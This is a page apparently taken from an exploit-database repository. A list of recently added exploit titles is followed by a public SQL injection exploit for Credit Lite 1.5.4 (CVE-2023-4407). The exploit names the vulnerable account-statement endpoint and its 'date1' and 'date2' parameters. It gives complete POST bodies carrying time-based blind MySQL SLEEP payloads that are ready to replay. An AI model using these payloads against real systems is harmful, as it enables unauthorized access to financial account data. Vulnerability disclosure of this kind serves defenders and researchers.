4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
56 lines
No EOL
1.8 KiB
Text
56 lines
No EOL
1.8 KiB
Text
# Exploit Title: Credit Lite 1.5.4 - SQL Injection
|
|
# Exploit Author: CraCkEr
|
|
# Date: 31/07/2023
|
|
# Vendor: Hobby-Tech
|
|
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
|
|
# Software Link: https://credit-lite.appshat.xyz/
|
|
# Version: 1.5.4
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Database Access
|
|
# CVE: CVE-2023-4407
|
|
# CWE: CWE-89 - CWE-74 - CWE-707
|
|
|
|
## Description
|
|
|
|
SQL injection attacks can allow unauthorized access to sensitive data, modification of
|
|
data and crash the application or make it unavailable, leading to lost revenue and
|
|
damage to a company's reputation.
|
|
|
|
|
|
|
|
## Steps to Reproduce:
|
|
|
|
To Catch the POST Request
|
|
|
|
1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement
|
|
|
|
2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]
|
|
|
|
|
|
|
|
Path: /portal/reports/account_statement
|
|
|
|
POST parameter 'date1' is vulnerable to SQL Injection
|
|
POST parameter 'date2' is vulnerable to SQL Injection
|
|
|
|
-------------------------------------------------------------------------
|
|
POST /portal/reports/account_statement HTTP/2
|
|
|
|
_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
|
|
-------------------------------------------------------------------------
|
|
|
|
---
|
|
Parameter: date1 (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001
|
|
|
|
Parameter: date2 (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
|
|
---
|
|
|
|
|
|
|
|
[-] Done |